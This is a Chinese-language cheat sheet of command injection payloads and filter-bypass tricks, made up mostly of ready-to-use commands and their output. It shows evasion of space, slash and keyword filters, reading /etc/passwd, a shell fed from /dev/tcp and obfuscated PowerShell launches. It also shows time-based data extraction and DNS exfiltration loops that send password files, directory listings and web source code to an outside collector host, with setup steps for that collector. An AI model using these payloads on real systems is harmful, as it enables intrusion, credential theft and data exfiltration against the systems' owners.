# 命令注入绕过技巧总结
> 命令注入是一个安全漏洞,它使攻击者可以在易受攻击的应用程序中执行任意命令。
### 基本命令
```
root@micr067:~# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
```
### 链接命令
```bash
demo; ls
cat demo.txt && ls
cat demo.txt | ls
cat demo || ls # 当前面的命令执行失败后面的命令才会执行
```

### 在命令内
```
cat demo.txt `cat /etc/passwd`
cat demo.txt $(cat /etc/passwd)
```

## 过滤器绕过
### 无空格绕过
仅适用于Linux。
```
root@micr067:/tmp# cat</etc/passwd
root:x:0:0:root:/root:/bin/bash
root@micr067:/tmp# {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
root@micr067:/tmp# cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
root@micr067:/tmp# echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
root@micr067:/tmp# X=$'uname\x20-a'&&$X
Linux micr067 5.4.0-kali4-amd64 #1 SMP Debian 5.4.19-1kali1 (2020-02-17) x86_64 GNU/Linux
root@micr067:~# sh</dev/tcp/127.0.0.1/443
```

不带空格,$或{}的命令执行-Linux(仅限Bash)
```powershell
root@micr067:~# IFS=,;`cat<<<uname,-a`
Linux micr067 5.4.0-kali4-amd64 #1 SMP Debian 5.4.19-1kali1 (2020-02-17) x86_64 GNU/Linux
```
仅适用于Windows。
```powershell
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
```


### 通过十六进制编码绕过字符过滤
linux
```
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
```

```
xxd -r -p <<< 2f6574632f706173737764
cat `xxd -r -p <<< 2f6574632f706173737764`
```

```
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```

### 绕过字符过滤器
不带反斜杠和斜杠的命令执行-Linux bash
```
echo ${HOME:0:1}
/
cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash
echo . | tr '!-0' '"-1'
/
tr '!-0' '"-1' <<< .
/
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash
```

### 绕过列入黑名单的单词
#### 单引号绕过
```
w'h'o'am'i
```

#### 双引号绕过
```
w"h"o"am"i
```

#### 用反斜杠和斜杠绕过
```
w\ho\am\i
/\b\i\n/////s\h
```

#### 使用 $@ 绕过
```powershell
who$@ami
```

#### 可变扩展绕过
```
/???/c?t /???/p?ss??
test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}
```

#### 用通配符绕过
```
powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
```

win7:
`@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e`

win10:
```
@^p^o^w^e^r^shell C:\W*?w?\S*?32\?a?c.e?e
@^p^o^w^e^r^shell C:\W*?\S*?2\?a?c.e?e
```

## 基于时间的数据渗透
提取数据:按字符分配char
根据是否执行sleep 5来判断该用户名是否存在。
```
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
time if [ $(whoami|cut -c 1) == r ]; then sleep 5; fi
```


## 基于DNS的数据渗透
##### dnsbin
项目地址:https://github.com/ettic-team/dnsbin
> DNSBin用于测试通过DNS进行的数据渗透,并在环境存在重大限制时帮助测试RCE或XXE等漏洞。
先将项目拷贝到本地
git clone https://github.com/ettic-team/dnsbin
1、首先创建两条A记录,然后创建两条NS记录,其值分别设置为两条A记录的域名。

2、将dnsbin\web目录拷贝到公网服务器上,然后安装nodejs环境。
安装nodejs:
```
wget https://nodejs.org/dist/v10.15.0/node-v10.15.0-linux-x64.tar.xz
```
第二步:解压
```
tar -xf node-v10.15.0-linux-x64.tar.xz
```
第三步:设置全局变量
```
1、打开文件
vim /etc/profile
2、最后一行放入
PATH=$PATH:/opt/node-v10.15.0/bin
```

第四步:刷新配置文件
`source /etc/profile `
最后测试

3、然后使用npm安装forever
`npm install -g forever`
4、开启web服务
测试:
```
for i in $(ls /root) ; do host "$i.7ee8236f04d5cfa676c3.d.zhack.ca"; done
```

```
1、先访问我们搭建的服务http://www.payload.ltd,会自动生成一个子域名。
2. 然后我们尝试执行一个简单的 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```

然后,返回到我们的页面,可以看到已经接收并列出了我们root目录的内容。

尝试 将 /etc/passwd 中的内容逐行列出来:
```
for i in $(cat /etc/passwd) ; do host "$i.7ee8236f04d5cfa676c3.d.zhack.ca"; done
```

逐行读取源代码:
```
for i in $(ls /var/www/html) ; do host "$i.7ee8236f04d5cfa676c3.d.zhack.ca"; done
for i in $(cat /var/www/html/webacoo.php) ; do host "$i.7ee8236f04d5cfa676c3.d.zhack.ca"; done
```

用于检查基于DNS的数据渗透的在线工具:
- dnsbin.zhack.ca
- pingb.in
http://pingb.in/914ac82106dcb554ad385266b15b

参考链接:
https://www.cnblogs.com/chenhaoyu/p/10237505.html
https://www.jianshu.com/p/7dffeb87bba9
https://www.cnblogs.com/sevck/p/6072721.html